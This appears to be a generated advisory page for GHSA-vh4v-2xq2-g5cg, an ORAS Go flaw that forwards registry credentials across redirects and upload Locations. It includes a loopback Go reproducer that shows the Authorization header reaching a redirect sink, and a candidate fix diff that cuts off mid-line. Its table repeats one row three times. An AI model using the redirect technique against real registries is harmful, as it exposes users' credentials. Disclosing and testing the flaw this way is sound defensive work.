# GHSA-vh4v-2xq2-g5cg: ORAS Go forwards registry credentials across registry redirects

> ORAS Go library leaks registry credentials to unintended hosts during redirects, exposing sensitive authentication data to attackers.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 1 Jul 2026
- **Also known as:** GO-2026-5884

## What is GHSA-vh4v-2xq2-g5cg?

GHSA-vh4v-2xq2-g5cg is a vulnerability in oras.land/oras-go/v2, published on 1 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

# ORAS Go forwards registry credentials across registry redirects

Reporter / public credit: JUNYI LIU

## Summary

ORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects.

There are two related paths:

1. A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin `Authorization` header to the redirect target.
2. A blob upload `POST` authenticates to the origin registry, then the origin returns an upload `Location` on another host or port. The follow-up `PUT` can carry the origin `Authorization` header to the `Location` target.

The upload `Location` issue appears related to the existing public fix in pull request #1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload `Location` fix still forwards Basic credentials on an authenticated manifest redirect.

## Impact

A registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags.

This is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact.

## Affected Versions Tested

- `oras-go v2.6.0`: affected.
- `oras-go` main at commit `a57383e580c8f2c97fb67dedfc5c9945c8c3614e`: affected.
- `oras-go` v2 branch at commit `d593d504779be8b69f0ba034ac9fd407d1fc8cfc`: upload `Location` path is blocked, but manifest redirect credential forwarding is still affected.
- ORAS CLI at commit `3d2646279c70ba60415440e44c2ff97896e4a209`, using `oras-go v2.6.0`: affected when using `--registry-config`.

## Security Invariant

Credentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload `Location` response.

## Local Reproduction Overview

All testing used loopback servers and fake credentials only.

Manifest redirect flow:

1. The client requests a manifest from the origin registry.
2. The origin returns `401` with a Basic challenge.
3. The client retries the origin request with the origin credential.
4. The origin returns `307` to another port on the same hostname.
5. The redirect sink receives the origin `Authorization` header.

ORAS CLI stored-credential flow:

1. A temporary registry config contains a fake Basic credential for the origin registry only.
2. Run:

```sh
oras manifest fetch --plain-http --registry-config <config> <origin>/probe:latest
```

3. The origin authenticates the request and redirects it to another port.
4. The redirect sink receives the origin `Authorization` header.

Blob upload `Location` flow:

1. The client starts a blob upload with `POST` to the origin registry.
2. The origin challenges with Basic and then accepts the authenticated `POST`.
3. The origin returns an upload `Location` URL on another port.
4. In affected versions, the follow-up `PUT` to the `Location` target carries the origin `Authorization` header.

## Expected Result

Redirect and upload `Location` targets on a different HTTP origin should not receive the origin `Authorization` header.

## Observed Result

In affected versions, redirect or `Location` sinks received:

```http
Authorization: Basic <base64 origin_user:origin_pass>
```

## Standalone Reproducer

```go
package main

import (
	"context"
	"encoding/json"
	"fmt"
	"net/http"
	"net/http/httptest"
	"os"
	"sync"

	"github.com/opencontainers/go-digest"
	"github.com/oras-project/oras-go/v3/registry/remote"
	"github.com/oras-project/oras-go/v3/registry/remote/auth"
	"github.com/oras-project/oras-go/v3/registry/remote/credentials"
)

type hit struct {
	Method string `json:"method"`
	Path   string `json:"path"`
	Host   string `json:"host"`
	Auth   string `json:"auth,omitempty"`
}

func main() {
	const username = "origin_user"
	const password = "origin_pass"
	const expectedAuth = "Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M="
	var mu sync.Mutex
	var originHits, sinkHits []hit

	record := func(dst *[]hit, r *http.Request) {
		mu.Lock()
		defer mu.Unlock()
		*dst = append(*dst, hit{
			Method: r.Method,
			Path:   r.URL.RequestURI(),
			Host:   r.Host,
			Auth:   r.Header.Get("Authorization"),
		})
	}

	manifest := []byte(`{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.unknown.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}`)
	manifestDigest := digest.FromBytes(manifest).String()

	sink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		record(&sinkHits, r)
		if r.Header.Get("Authorization") != expectedAuth {
			w.Header().Set("Www-Authenticate", `Basic realm="redirect-sink"`)
			w.WriteHeader(http.StatusUnauthorized)
			return
		}
		w.Header().Set("Content-Type", "application/vnd.oci.image.manifest.v1+json")
		w.Header().Set("Docker-Content-Digest", manifestDigest)
		w.Header().Set("Content-Length", fmt.Sprint(len(manifest)))
		_, _ = w.Write(manifest)
	}))
	defer sink.Close()

	origin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		record(&originHits, r)
		if r.Header.Get("Authorization") != expectedAuth {
			w.Header().Set("Www-Authenticate", `Basic realm="origin"`)
			w.WriteHeader(http.StatusUnauthorized)
			return
		}
		http.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect)
	}))
	defer origin.Close()

	repo, err := remote.NewRepository(origin.Listener.Addr().String() + "/probe")
	if err != nil {
		panic(err)
	}
	repo.PlainHTTP = true
	repo.Client = &auth.Client{
		Client: origin.Client(),
		CredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{
			Username: username,
			Password: password,
		}),
	}

	_, _, err = repo.Manifests().FetchReference(context.Background(), "latest")

	leaked := false
	for _, h := range sinkHits {
		if h.Auth == expectedAuth {
			leaked = true
		}
	}

	result := map[string]any{
		"origin_hits": originHits,
		"sink_hits":   sinkHits,
		"error":       "",
		"leaked":      leaked,
	}
	if err != nil {
		result["error"] = err.Error()
	}
	encoded, _ := json.MarshalIndent(result, "", "  ")
	fmt.Println(string(encoded))

	if leaked {
		fmt.Println("VULNERABLE_BEHAVIOR_CONFIRMED")
		return
	}
	fmt.Println("BOUNDARY_HELD_NO_CREDENTIAL_LEAK")
	os.Exit(1)
}
```

## Candidate Fix

The candidate fix does two things:

1. In the auth client, wrap redirect handling so `Authorization` is removed when a redirect changes HTTP origin, while preserving any caller-provided `CheckRedirect` callback.
2. In blob upload completion, only reuse the previous `POST` `Authorization` header when the upload `Location` remains on the same HTTP origin.

The patch also adds regression coverage for both redirect cases:

- redirect before origin authentication reaches a different origin;
- redirect after origin authentication reaches a different origin.

```diff
diff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go
index 35826eb..60c9f88 100644
--- a/registry/remote/auth/client.go
+++ b/registry/remote/auth/client.go
@@ -122,7 +122,23 @@ func (c *Client) send(req *http.Request) (*http.Response, error) {
 	for key, values := range c.Header {
 		req.Header[key] = append(req.Header[key], values...)
 	}
-	return c.client().Do(req)
+	client := c.client()
+	clientCopy := *client
+	checkRedirect := client.CheckRedirect
+	clientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error {
+		if len(via) > 0 && !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) {
+			redirectReq.Header.Del(headerAuthorization)
+		}
+		if checkRedirect != n

## Which versions are affected by GHSA-vh4v-2xq2-g5cg?

3 open source packages ship an affected version, including oras.land/oras-go/v2.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `oras.land/oras-go/v2` | Go | All versions | 2.6.1 |
| `oras.land/oras-go/v2` | Go | All versions | 2.6.1 |
| `oras.land/oras-go/v2` | Go | All versions | 2.6.1 |

## How do I fix GHSA-vh4v-2xq2-g5cg?

Upgrade oras.land/oras-go/v2 to 2.6.1 or later.

## Is GHSA-vh4v-2xq2-g5cg being exploited?

There is no known exploitation of GHSA-vh4v-2xq2-g5cg in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-vh4v-2xq2-g5cg and fix it if it is affected.

What it is: GHSA-vh4v-2xq2-g5cg is a vulnerability in oras.land/oras-go/v2, published on 1 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-vh4v-2xq2-g5cg in the wild and no public exploit code.

Affected packages and fixed versions:
- oras.land/oras-go/v2 (Go): affected all versions; fixed in 2.6.1
- oras.land/oras-go/v2 (Go): affected all versions; fixed in 2.6.1
- oras.land/oras-go/v2 (Go): affected all versions; fixed in 2.6.1

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-vh4v-2xq2-g5cg/ (Markdown: https://insights.sbomify.com/GHSA-vh4v-2xq2-g5cg/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-vh4v-2xq2-g5cg

---
From sbomify Insights: https://insights.sbomify.com/GHSA-vh4v-2xq2-g5cg/
Summaries are generated and may contain mistakes; the official description above is the record.
